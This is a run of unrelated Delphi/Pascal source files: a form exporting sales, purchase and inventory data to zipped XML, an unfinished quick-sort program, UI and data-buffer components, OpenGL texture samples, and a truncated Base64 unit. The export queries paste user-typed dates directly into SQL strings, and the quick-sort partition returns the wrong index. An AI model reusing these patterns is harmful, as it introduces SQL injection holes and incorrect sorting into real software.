Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaComprobantes;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Comprobantes';
lblTabla.Refresh;
sFechaIni := txtMesVentaIni.Text + '/' + txtDiaVentaIni.Text + '/' + txtAnioVentaIni.Text;
sFechaFin := txtMesVentaFin.Text + '/' + txtDiaVentaFin.Text + '/' + txtAnioVentaFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT v.caja, v.fecha, v.hora, c.tipo, c.numero, l.nombre AS cliente, ');
SQL.Add('c.fecha, c.estatus, c.caja FROM ventas v RIGHT JOIN comprobantes c ON ');
SQL.Add('v.clave = c.venta LEFT JOIN clientes l ON c.cliente = l.clave ');
SQL.Add('WHERE v.fecha >= ''' + sFechaIni + ''' AND ');
SQL.Add('v.fecha <= ''' + sFechaFin + ''' ORDER BY c.tipo, c.numero, c.estatus');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('comprobantes.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.chkVentasClick(Sender: TObject);
begin
if(chkVentas.Checked) then begin
chkArticulos.Checked := true;
chkArticulos.Enabled := false;
txtDiaVentaIni.Visible := true;
txtMesVentaIni.Visible := true;
txtAnioVentaIni.Visible := true;
txtDiaVentaFin.Visible := true;
txtMesVentaFin.Visible := true;
txtAnioVentaFin.Visible := true;
txtDiaVentaIni.SetFocus;
end
else begin
chkArticulos.Enabled := true;
txtDiaVentaIni.Visible := false;
txtMesVentaIni.Visible := false;
txtAnioVentaIni.Visible := false;
txtDiaVentaFin.Visible := false;
txtMesVentaFin.Visible := false;
txtAnioVentaFin.Visible := false;
end;
end;
procedure TfrmExportar.Salta(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
{Inicio (36), Fin (35), Izquierda (37), derecha (39), arriba (38), abajo (40)}
if(Key >= 30) and (Key <= 122) and (Key <> 35) and (Key <> 36) and not ((Key >= 37) and (Key <= 40)) then
if( Length((Sender as TEdit).Text) = (Sender as TEdit).MaxLength) then
SelectNext(Sender as TWidgetControl, true, true);
end;
procedure TfrmExportar.btnDirClick(Sender: TObject);
var
sDir: WideString;
begin
if(SelectDirectory('Seleccionar directorio','',sDir)) then begin
txtRuta.Text := sDir;
txtRutaExit(Sender);
end;
btnDir.SetFocus;
end;
procedure TfrmExportar.txtRutaExit(Sender: TObject);
var
sDirSep : String;
begin
{$IFDEF MSWINDOWS}
sDirSep:='\';
{$ENDIF}
{$IFDEF LINUX}
sDirSep:='/';
{$ENDIF}
txtRuta.Text := Trim(txtRuta.Text);
if(Copy(txtRuta.Text,Length(txtRuta.Text),1) <> sDirSep) then
txtRuta.Text := txtRuta.Text + sDirSep;
end;
procedure TfrmExportar.FormCreate(Sender: TObject);
begin
RecuperaConfig;
end;
procedure TfrmExportar.chkComprasClick(Sender: TObject);
begin
if(chkCompras.Checked) then begin
txtDiaCompraIni.Visible := true;
txtMesCompraIni.Visible := true;
txtAnioCompraIni.Visible := true;
txtDiaCompraFin.Visible := true;
txtMesCompraFin.Visible := true;
txtAnioCompraFin.Visible := true;
txtDiaCompraIni.SetFocus;
end
else begin
txtDiaCompraIni.Visible := false;
txtMesCompraIni.Visible := false;
txtAnioCompraIni.Visible := false;
txtDiaCompraFin.Visible := false;
txtMesCompraFin.Visible := false;
txtAnioCompraFin.Visible := false;
end;
end;
procedure TfrmExportar.ExportaCompras;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Compras';
lblTabla.Refresh;
sFechaIni := txtMesCompraIni.Text + '/' + txtDiaCompraIni.Text + '/' + txtAnioCompraIni.Text;
sFechaFin := txtMesCompraFin.Text + '/' + txtDiaCompraFin.Text + '/' + txtAnioCompraFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT c.documento, c.fecha, c.estatus, c.caja, c.fecha_cap, c.iva, c.total, ');
SQL.Add('p.clave, u.login, c.descuento, c.tipo FROM compras c LEFT JOIN proveedores p ON');
SQL.Add('c.proveedor = p.clave LEFT JOIN usuarios u ON c.usuario = u.clave');
SQL.Add('WHERE c.fecha >= ''' + sFechaIni + ''' AND ');
SQL.Add('c.fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('compras.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaComprasDet;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Detalle compras';
lblTabla.Refresh;
sFechaIni := txtMesCompraIni.Text + '/' + txtDiaCompraIni.Text + '/' + txtAnioCompraIni.Text;
sFechaFin := txtMesCompraFin.Text + '/' + txtDiaCompraFin.Text + '/' + txtAnioCompraFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT c.documento, c.fecha, c.estatus, c.caja, c.fecha_cap, d.orden, o.codigo,');
SQL.Add('d.cantidad, d.iva, d.costo, d.descuento, d.fiscal FROM compras c RIGHT JOIN comprasdet d ON ');
SQL.Add('c.clave = d.compra LEFT JOIN articulos a ON d.articulo = a.clave ');
SQL.Add('LEFT JOIN codigos o ON o.articulo = a.clave AND o.tipo = ''P''');
SQL.Add('WHERE c.fecha >= ''' + sFechaIni + ''' AND ');
SQL.Add('c.fecha <= ''' + sFechaFin + ''' ORDER BY d.compra, d.orden');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('comprasdet.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaComprasPago;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Pago compras';
lblTabla.Refresh;
sFechaIni := txtMesCompraIni.Text + '/' + txtDiaCompraIni.Text + '/' + txtAnioCompraIni.Text;
sFechaFin := txtMesCompraFin.Text + '/' + txtDiaCompraFin.Text + '/' + txtAnioCompraFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT c.documento, c.fecha, c.estatus, c.caja, c.fecha_cap, t.nombre,');
SQL.Add('p.importe, p.referencia FROM compraspago p LEFT JOIN compras c ON p.compra = c.clave ');
SQL.Add('LEFT JOIN tipopago t ON p.tipopago = t.clave ');
SQL.Add('WHERE c.fecha >= ''' + sFechaIni + ''' AND c.fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('compraspago.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.txtAnioVentaIniExit(Sender: TObject);
begin
txtAnioVentaIni.Text := Trim(txtAnioVentaIni.Text);
if(Length(txtAnioVentaIni.Text) < 4) and (Length(txtAnioVentaIni.Text) > 0) then
txtAnioVentaIni.Text := IntToStr(StrToInt(txtAnioVentaIni.Text) + 2000);
end;
procedure TfrmExportar.txtAnioVentaFinExit(Sender: TObject);
begin
txtAnioVentaFin.Text := Trim(txtAnioVentaFin.Text);
if(Length(txtAnioVentaFin.Text) < 4) and (Length(txtAnioVentaFin.Text) > 0) then
txtAnioVentaFin.Text := IntToStr(StrToInt(txtAnioVentafin.Text) + 2000);
end;
procedure TfrmExportar.txtAnioCompraIniExit(Sender: TObject);
begin
txtAnioCompraIni.Text := Trim(txtAnioCompraIni.Text);
if(Length(txtAnioCompraIni.Text) < 4) and (Length(txtAnioCompraIni.Text) > 0) then
txtAnioCompraIni.Text := IntToStr(StrToInt(txtAnioCompraIni.Text) + 2000);
end;
procedure TfrmExportar.txtAnioCompraFinExit(Sender: TObject);
begin
txtAnioCompraFin.Text := Trim(txtAnioCompraFin.Text);
if(Length(txtAnioCompraFin.Text) < 4) and (Length(txtAnioCompraFin.Text) > 0) then
txtAnioCompraFin.Text := IntToStr(StrToInt(txtAnioCompraFin.Text) + 2000);
end;
procedure TfrmExportar.txtDiaVentaIniExit(Sender: TObject);
begin
Rellena(Sender);
end;
procedure TfrmExportar.Rellena(Sender: TObject);
var
i : integer;
begin
for i := Length((Sender as TEdit).Text) to (Sender as TEdit).MaxLength - 1 do
(Sender as TEdit).Text := '0' + (Sender as TEdit).Text;
end;
procedure TfrmExportar.ExportaVendedores;
begin
lblTabla.Caption := 'Vendedores';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT v.clave, v.rfc, v.nombre, v.calle, v.colonia, v.cp,');
SQL.Add('v.localidad, v.estado, v.fax, v.ecorreo,');
SQL.Add('v.fecha_cap, v.telefono, v.fecha_umov, c.nombre AS categoria');
SQL.Add('FROM vendedores v LEFT JOIN categorias c');
SQL.Add('ON v.categoria = c.clave AND c.tipo = ''V'' ORDER BY v.nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('Vendedores.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaCtsXCobrar;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Xcobrar';
lblTabla.Refresh;
sFechaIni := txtMesVentaIni.Text + '/' + txtDiaVentaIni.Text + '/' + txtAnioVentaIni.Text;
sFechaFin := txtMesVentaFin.Text + '/' + txtDiaVentaFin.Text + '/' + txtAnioVentaFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT x.importe, x.plazo, x.interes, x.intmoratorio,');
SQL.Add('x.proximopago,x.tipointeres,x.tipoplazo,x.plazo,x.estatus, x.orden,');
SQL.Add('c.nombre as Cliente, x.fecha, x.numpago, x.cantintmorat,');
SQL.Add('x.cantinteres,x.pagado, v.hora, v.caja FROM xcobrar x LEFT JOIN');
SQL.Add('clientes c ON x.cliente = c.clave LEFT JOIN ventas v ON');
SQL.Add('x.venta = v.clave ');
SQL.Add('WHERE x.fecha >= ''' + sFechaIni + ''' AND x.fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('XCobrar.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
lblTabla.Caption := 'Xcobrar pagos';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
SQL.Clear;
SQL.Add('SELECT xc.orden, xc.fecha as FechaV, v.hora, v.caja, x.numero,x.fecha,x.importe,x.interes, x.interesmorat,');
SQL.Add('t.nombre as tipopago, x.comentario FROM xcobrarpagos x LEFT JOIN tipopago t ON x.tipopago = t.clave');
SQL.Add('LEFT JOIN xCobrar xc ON x.xcobrar = xc.clave LEFT JOIN ventas v ON xc.venta = v.clave');
SQL.Add('WHERE xc.fecha >= ''' + sFechaIni + ''' AND xc.fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('XCobrarPagos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaInventario2;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Inventario';
lblTabla.Refresh;
sFechaIni := txtMesInvIni.Text + '/' + txtDiaInvIni.Text + '/' + txtAnioInvIni.Text;
sFechaFin := txtMesInvFin.Text + '/' + txtDiaInvFin.Text + '/' + txtAnioInvFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT fecha, aplicado, descrip FROM inventario ');
SQL.Add('WHERE fecha >= ''' + sFechaIni + ''' AND fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('Inventario.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
lblTabla.Caption := 'InventarioDet';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
SQL.Clear;
SQL.Add('SELECT o.codigo, i.cantidad, i.existencia, i.juego, i.cantjuego, ');
SQL.add(' inv.Fecha, inv.Descrip FROM inventdet i');
SQL.Add(' LEFT JOIN codigos o ON o.articulo = i.articulo AND o.tipo = ''P''');
SQL.Add(' LEFT JOIN inventario inv ON i.inventario = inv.clave');
SQL.Add(' WHERE inv.fecha >= ''' + sFechaIni + ''' AND inv.fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('InventDet.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.chkInventarioClick(Sender: TObject);
begin
if(chkInventario.Checked) then begin
txtDiaInvIni.Visible := true;
txtMesInvIni.Visible := true;
txtAnioInvIni.Visible := true;
txtDiaInvFin.Visible := true;
txtMesInvFin.Visible := true;
txtAnioInvFin.Visible := true;
txtDiaInvIni.SetFocus;
end
else begin
txtDiaInvIni.Visible := false;
txtMesInvIni.Visible := false;
txtAnioInvIni.Visible := false;
txtDiaInvFin.Visible := false;
txtMesInvFin.Visible := false;
txtAnioInvFin.Visible := false;
end;
end;
procedure TfrmExportar.txtAnioInvIniExit(Sender: TObject);
begin
txtAnioInvIni.Text := Trim(txtAnioInvIni.Text);
if(Length(txtAnioInvIni.Text) < 4) and (Length(txtAnioInvIni.Text) > 0) then
txtAnioInvIni.Text := IntToStr(StrToInt(txtAnioInvIni.Text) + 2000);
end;
procedure TfrmExportar.txtAnioInvFinExit(Sender: TObject);
begin
txtAnioInvFin.Text := Trim(txtAnioInvFin.Text);
if(Length(txtAnioInvFin.Text) < 4) and (Length(txtAnioInvFin.Text) > 0) then
txtAnioInvFin.Text := IntToStr(StrToInt(txtAnioInvfin.Text) + 2000);
end;
end.
|
//Under construction...
program quick_sort;
type vector = array[1..100] of integer;
var u:vector; first, last, tam:integer;
procedure read_vector(var v:vector; var n:integer);
var i:integer;
begin
write('Dimension : ');
read(n);
for i:=1 to n do
readln(v[i]);
end;
procedure print_vector(var v:vector; var n:integer);
var i:integer;
begin
writeln('Ans = ');
for i:=1 to n do
writeln(v[i]);
end;
procedure swap(var a:integer; var b:integer);
var z:integer;
begin
z := a;
a := b;
b := z;
end;
function partition(var v:vector; var low:integer; var high:integer):integer;
var i, j, pivot:integer;
begin
pivot := v[high];
i := low-1;
for j:=low to high do
begin
if v[j] <= pivot then
begin
i := i+1;
swap(v[i], v[j]);
end;
end;
swap(v[i+1], v[high]);
partition := i;
end;
procedure quick_sort(var v:vector; low:integer; high:integer);
var m:integer;
begin
if (low < high) then
begin
m := partition(v, low, high);
writeln('m = ', m);
quick_sort(v, low, m-1);
quick_sort(v, m+1, high);
end;
end;
begin
writeln('Quick Sort Algorithm');
writeln('Type the dimension of your vector');
read_vector(u, tam);
writeln('First/Last: ');
readln(first);
readln(last);
writeln('m = ',partition(u, first, last));
quick_sort(u, first, last);
print_vector(u, tam);
end.
|
unit BackgroundHandler;
interface
uses
VoyagerInterfaces, Classes, Controls, MPlayer, BackgroundHandlerViewer;
type
TBackgroundHandler =
class( TInterfacedObject, IMetaURLHandler, IURLHandler )
public
constructor Create;
destructor Destroy; override;
private
fControl : TBackgroundHandlerView;
// IMetaURLHandler
private
function getName : string;
function getOptions : TURLHandlerOptions;
function getCanHandleURL( URL : TURL ) : THandlingAbility;
function Instantiate : IURLHandler;
// IURLHandler
private
function HandleURL( URL : TURL ) : TURLHandlingResult;
function HandleEvent( EventId : TEventId; var info ) : TEventHandlingResult;
function getControl : TControl;
procedure setMasterURLHandler( URLHandler : IMasterURLHandler );
private
fMasterURLHandler : IMasterURLHandler;
fCache : string;
end;
const
tidMetaHandler_BackgroundHandler = 'BackgroundHandler';
implementation
uses
URLParser, SysUtils, Events, Forms, JPGtoBMP, Graphics;
// TBackgroundHandler
constructor TBackgroundHandler.Create;
begin
inherited Create;
fControl := TBackgroundHandlerView.Create( nil );
end;
destructor TBackgroundHandler.Destroy;
begin
fControl.Free;
inherited;
end;
function TBackgroundHandler.getName : string;
begin
result := tidMetaHandler_BackgroundHandler;
end;
function TBackgroundHandler.getOptions : TURLHandlerOptions;
begin
result := [hopCacheable];
end;
function TBackgroundHandler.getCanHandleURL( URL : TURL ) : THandlingAbility;
begin
result := 0;
end;
function TBackgroundHandler.Instantiate : IURLHandler;
begin
result := self;
end;
function TBackgroundHandler.HandleURL( URL : TURL ) : TURLHandlingResult;
begin
result := urlHandled;
end;
function TBackgroundHandler.HandleEvent( EventId : TEventId; var info ) : TEventHandlingResult;
begin
result := evnHandled;
case EventId of
evnHandlerExposed :
begin
end;
end;
end;
function TBackgroundHandler.getControl : TControl;
begin
result := fControl;
end;
procedure TBackgroundHandler.setMasterURLHandler( URLHandler : IMasterURLHandler );
begin
fMasterURLHandler := URLHandler;
URLHandler.HandleEvent( evnAnswerPrivateCache, fCache );
fControl.Cache := fCache;
end;
end.
|
unit ffsDataBuffer;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, db;
type
TffsDataBuffer = class(TComponent)
private
{ Private declarations }
fDataSource : TDataSource;
fStorage : array of array of String;
fBlankChar : string;
fRecordCount : integer; // number of records in the buffer
fbmarks : array of TBookMark;
protected
{ Protected declarations }
public
{ Public declarations }
constructor create(AOwner:TComponent);override;
destructor destroy;override;
procedure StoreCurrentData(storeRange:boolean = false);
function DataChanged(recnum:integer=0):boolean;
function TranText(FieldName:string;len:integer=0;recnum:integer=0):string;
function TranTextCDate(FieldName:string;recnum:integer=0):string;
function TranTextDollar(FieldName:string;digits,decimals:integer;recnum:integer=0):string;
function TranTextApr4(fieldname:string;recnum:integer=0):string;
property RecordCount:integer read fRecordCount;
procedure ClearData;
published
{ Published declarations }
property DataSource : TDataSource read fDataSource write fDataSource;
property BlankChar : string read fBlankChar write fBlankChar;
end;
procedure Register;
implementation
function PadLeft(s:string;len:integer):string;
begin
if len <= 0 then begin
result := s;
exit;
end;
if length(s) > len then s := copy(s,1,len)
else while (length(s) < len) do s := ' ' + s;
result := s;
end;
function PadRight(s:string;len:integer):string;
begin
if len <= 0 then begin
result := s;
exit;
end;
if length(s) > len then s := copy(s,1,len)
else begin
while (length(s) < len) do s := s + ' ';
end;
result := s;
end;
function TffsDataBuffer.TranText(fieldname:string;len:integer;recnum:integer):string;
var x, // field number
l : integer;
s : string;
begin
x := fdatasource.dataset.FieldList.IndexOf(fieldname);
if x < 0 then begin
result := padright('INVALID',len);
exit;
end;
if recnum >= frecordCount then begin
result := padright(fdatasource.dataset.fields[x].asstring,len);
end
else begin
fDataSource.DataSet.GotoBookmark(fbmarks[recnum]);
// is it different ?
s := fstorage[recnum,x];
if s <> fdatasource.DataSet.Fields[x].asstring then begin
// is it changed to blank ?
if trimright(fdatasource.dataset.fields[x].asstring) = '' then begin
result := padright(blankchar,len);
end
else begin
result := padright(fdatasource.DataSet.Fields[x].asstring,len);
end;
end
else begin
result := padright('',len);
end;
end;
end;
procedure TffsDataBuffer.ClearData;
var rcount:integer;
begin
for rcount := 0 to frecordcount - 1 do fdatasource.DataSet.FreeBookmark(fbmarks[rcount]);
finalize(fstorage);
finalize(fbMarks);
fRecordCount := 0;
end;
function TffsDataBuffer.TranTextCDate(fieldname:string;recnum:integer):string;
var x,l : integer;
s : string;
sdate : string[10];
begin
x := fdatasource.dataset.FieldList.IndexOf(fieldname);
if x < 0 then begin
result := padright('INVALID',6);
exit;
end;
if recnum >= frecordCount then begin
sdate := fdatasource.DataSet.Fields[x].asstring;
if length(sdate) < 10 then result := padright(sdate,6)
else result := copy(sdate,1,2) + copy(sdate,4,2) + copy(sdate,9,2);
end
else begin
fDataSource.DataSet.GotoBookmark(fbmarks[recnum]);
// is it different ?
s := fstorage[recnum,x];
if s <> fdatasource.DataSet.Fields[x].asstring then begin
// is it changed to blank ?
if trimright(fdatasource.dataset.fields[x].asstring) = '' then begin
result := padright(blankchar,6);
end
else begin
sdate := fdatasource.DataSet.Fields[x].asstring;
if length(sdate) < 10 then result := padright(sdate,6)
else result := copy(sdate,1,2) + copy(sdate,4,2) + copy(sdate,9,2);
end;
end
else begin
result := padright('',6);
end;
end;
end;
function TffsDataBuffer.tranTextDollar(fieldname:string;Digits,Decimals:integer;recnum:integer):string;
var x,l : integer;
s : string;
fmt : string;
dbl : double;
begin
x := fdatasource.dataset.FieldList.IndexOf(fieldname);
if x < 0 then begin
result := padright('INVALID',digits);
exit;
end;
if recnum >= frecordCount then begin
result := padright(fdatasource.dataset.fields[x].asstring,digits);
end
else begin
fDataSource.DataSet.GotoBookmark(fbmarks[recnum]);
// is it different ?
s := fstorage[recnum,x];
if s <> fdatasource.DataSet.Fields[x].asstring then begin
// is it changed to blank ?
if trimright(fdatasource.dataset.fields[x].asstring) = '' then begin
result := padright(blankchar,digits);
end
else begin
dbl := fdatasource.dataset.fields[x].asfloat;
str(dbl:digits:decimals,fmt);
result := fmt;
end;
end
else begin
result := padright('',digits);
end;
end;
end;
function TffsDataBuffer.tranTextApr4(fieldname:string;recnum:integer):string;
var x,p : integer;
s : string;
fmt : string;
begin
x := fdatasource.dataset.FieldList.IndexOf(fieldname);
if x < 0 then begin
result := padright('INVALID',4);
exit;
end;
if recnum >= frecordCount then begin
result := padright(fdatasource.dataset.fields[x].asstring,4);
end
else begin
fDataSource.DataSet.GotoBookmark(fbmarks[recnum]);
// is it different ?
s := fstorage[recnum,x];
if s <> fdatasource.DataSet.Fields[x].asstring then begin
// is it changed to blank ?
if trimright(fdatasource.dataset.fields[x].asstring) = '' then begin
result := padright(blankchar,4);
end
else begin
s := fdatasource.dataset.fields[x].asstring;
p := pos('.',s);
if p > 0 then delete(s,p,1);
result := padleft(s,4);
end;
end
else begin
result := padright('',4);
end;
end;
end;
procedure TffsDataBuffer.StoreCurrentData;
var x : integer;
rcount : integer;
begin
clearData; // clear the data and set record count to zero
if not storeRange then begin // store for a single item
fRecordCount := 1;
end
else begin
fRecordCount := fdatasource.DataSet.RecordCount;
fdatasource.DataSet.First;
end;
setlength(fstorage,fRecordCount,fdatasource.dataset.fieldcount);
setlength(fbmarks,frecordcount);
for rcount := 0 to fRecordCount - 1 do begin
for x := 0 to fdatasource.DataSet.FieldCount - 1 do begin
fStorage[rcount,x] := trimright(fdatasource.dataset.fields[x].asstring);
fbmarks[rcount] := fdatasource.DataSet.GetBookmark;
end;
end;
end;
function TffsDataBuffer.DataChanged(recnum:integer):boolean;
var x : integer;
found : boolean;
begin
if recnum >= fRecordCount then begin // therefore a new record
result := true;
exit;
end;
found := false;
x := 0;
fDataSource.DataSet.GotoBookmark(fbmarks[recnum]);
while (x < fdatasource.DataSet.FieldCount) and (not found) do begin
if fstorage[recnum,x] <> trimright(fdatasource.dataset.fields[x].asstring) then found := true
else inc(x);
end;
result := found;
end;
constructor TffsDataBuffer.create(AOwner:TComponent);
begin
inherited create(aowner);
fRecordCount := 0;
end;
destructor TffsDataBuffer.destroy;
begin
cleardata;
inherited destroy;
end;
procedure Register;
begin
RegisterComponents('FFS Data Entry', [TffsDataBuffer]);
end;
end.
|
unit Sample.Texture;
{$INCLUDE 'Sample.inc'}
interface
uses
Neslib.Ooogles;
function CreateSimpleTexture2D: TGLTexture;
function CreateMipmappedTexture2D: TGLTexture;
function CreateSimpleTextureCubeMap: TGLTexture;
function LoadTexture(const APath: String): TGLTexture;
implementation
uses
System.SysUtils,
{$INCLUDE 'OpenGL.inc'}
Sample.Targa;
function CreateSimpleTexture2D: TGLTexture;
const
WIDTH = 2;
HEIGHT = 2;
PIXELS: array [0..WIDTH * HEIGHT * 3 - 1] of Byte = (
255, 0, 0, // Red
0, 255, 0, // Green
0, 0, 255, // Blue
255, 255, 0); // Yellow
begin
{ Use tightly packed data }
gl.PixelStore(TGLPixelStoreMode.UnpackAlignment, TGLPixelStoreValue.One);
{ Generate a texture object }
Result.New;
{ Bind the texture object }
Result.Bind;
{ Load the texture: 2x2 Image, 3 bytes per pixel (R, G, B) }
Result.Upload(TGLPixelFormat.RGB, WIDTH, HEIGHT, @PIXELS);
{ Set the filtering mode }
Result.MinFilter(TGLMinFilter.Nearest);
Result.MagFilter(TGLMagFilter.Nearest);
end;
function CreateMipmappedTexture2D: TGLTexture;
const
WIDTH = 256;
HEIGHT = 256;
CHECKER_SIZE = 8;
var
Pixels: TBytes;
X, Y: Integer;
R, B: Byte;
begin
SetLength(Pixels, WIDTH * HEIGHT * 3);
for Y := 0 to HEIGHT - 1 do
begin
for X := 0 to WIDTH - 1 do
begin
if (((X div CHECKER_SIZE) and 1) = 0) then
begin
R := 255 * ((Y div CHECKER_SIZE) and 1);
B := 255 * (1 - ((Y div CHECKER_SIZE) and 1));
end
else
begin
B := 255 * ((Y div CHECKER_SIZE) and 1);
R := 255 * (1 - ((Y div CHECKER_SIZE) and 1));
end;
Pixels[(Y * HEIGHT + X) * 3 + 0] := R;
Pixels[(Y * HEIGHT + X) * 3 + 1] := 0;
Pixels[(Y * HEIGHT + X) * 3 + 2] := B;
end;
end;
{ Generate a texture object }
Result.New;
{ Bind the texture object }
Result.Bind;
{ Load mipmap level 0 }
Result.Upload(TGLPixelFormat.RGB, WIDTH, HEIGHT, @Pixels[0]);
{ Generate mipmaps }
Result.GenerateMipmap;
{ Set the filtering mode }
Result.MinFilter(TGLMinFilter.NearestMipmapNearest);
Result.MagFilter(TGLMagFilter.Linear);
end;
function CreateSimpleTextureCubeMap: TGLTexture;
const
PIXELS: array [0..5, 0..2] of Byte = (
// Face 0 - Red
(255, 0, 0),
// Face 1 - Green,
( 0, 255, 0),
// Face 3 - Blue
( 0, 0, 255),
// Face 4 - Yellow
(255, 255, 0),
// Face 5 - Purple
(255, 0, 255),
// Face 6 - White
(255, 255, 255));
var
I: Integer;
begin
{ Generate a texture object }
Result.New(TGLTextureType.CubeMap);
{ Bind the texture object }
Result.Bind;
for I := 0 to 5 do
Result.Upload(TGLPixelFormat.RGB, 1, 1, @PIXELS[I], 0,
TGLPixelDataType.UnsignedByte, I);
{ Set the filtering mode }
Result.MinFilter(TGLMinFilter.Nearest);
Result.MagFilter(TGLMagFilter.Nearest);
end;
function LoadTexture(const APath: String): TGLTexture;
var
Image: TTgaImage;
begin
if Image.Load(APath) then
Result := Image.ToTexture
else
raise Exception.Create('Unable to load texture ' + APath);
end;
end.
|
{$REGION 'Copyright (C) CMC Development Team'}
{ **************************************************************************
Copyright (C) 2015 CMC Development Team
CMC is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
CMC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with CMC. If not, see <http://www.gnu.org/licenses/>.
************************************************************************** }
{ **************************************************************************
Additional Copyright (C) for this modul:
Chromaprint: Audio fingerprinting toolkit
Copyright (C) 2010-2012 Lukas Lalinsky <lalinsky@gmail.com>
Lomont FFT: Fast Fourier Transformation
Original code by Chris Lomont, 2010-2012, http://www.lomont.org/Software/
************************************************************************** }
{$ENDREGION}
{$REGION 'Notes'}
{ **************************************************************************
See CP.Chromaprint.pas for more information
************************************************************************** }
unit CP.Base64;
{$IFDEF FPC}
{$MODE delphi}
{$ENDIF}
interface
uses
Classes, SysUtils;
const
kBase64Chars: array [0 .. 65] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
kBase64CharsReversed: array [0 .. 127] of byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
